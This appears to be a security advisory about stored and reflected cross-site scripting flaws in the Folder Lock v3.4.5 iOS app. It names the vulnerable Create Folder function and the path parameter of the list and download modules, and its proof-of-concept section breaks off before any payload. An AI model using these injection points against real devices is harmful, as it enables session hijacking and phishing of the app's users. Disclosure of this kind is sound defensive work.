Technical Details & Description:
================================
1.1
Multiple persistent cross site scripting vulnerability has been
discovered in the official Folder Lock v3.4.5 mobile ios application.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise browser to
web-application requests from the application-side.

The persistent input validation vulnerability is located in the `create`
module with the `Create Folder` function. Remote attackers
are able to inject own malicious persistent script codes as path or
foldername. After the inject the code executes persistent from the
application-side. The request method to inject is POST and the attack
vector is located on the application-side. The injection point
is the create folder function and the execution point occurs with any
path/file index dir listing on preview.

Successful exploitation of the vulnerability results in session
hijacking, persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected application
modules.

Request Method(s):
[+] POST

Vulnerable Function(s):
[+] Create Folder

Vulnerable Module(s):
[+] path



1.2
Multiple non-persistent cross site web vulnerabilities has been
discovered in the official Folder Lock v3.4.5 mobile ios application.
The vulnerability allows remote attackers to inject own malicious script
codes with non-persistent attack vector to compromise browser
to web-application requests from the client-side.

The non-persistent cross site scripting vulnerabilities are located in
the `path` parameter of the `list` and `download` module.
Remote attackers are able to inject own malicious script code to
client-side requests with non-persistent attack vector.
The request method to inject is GET and the attack vector is located on
the client-side. The injection point is the vulnerable
`path` parameter and the execution occurs in the not sanitized error
exception output message.

Successful exploitation of the vulnerability results in session
hijacking, non-persistent phishing attacks, non-persistent external
redirects to malicious source and non-persistent manipulation of
affected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./list
[+] ./download

Vulnerable Parameter(s):
[+] path


Proof of Concept (PoC):
=======================
1.1
The persistent input validation web vulnerability can be exploited by
remote attackers with wifi ui access with low user interaction.
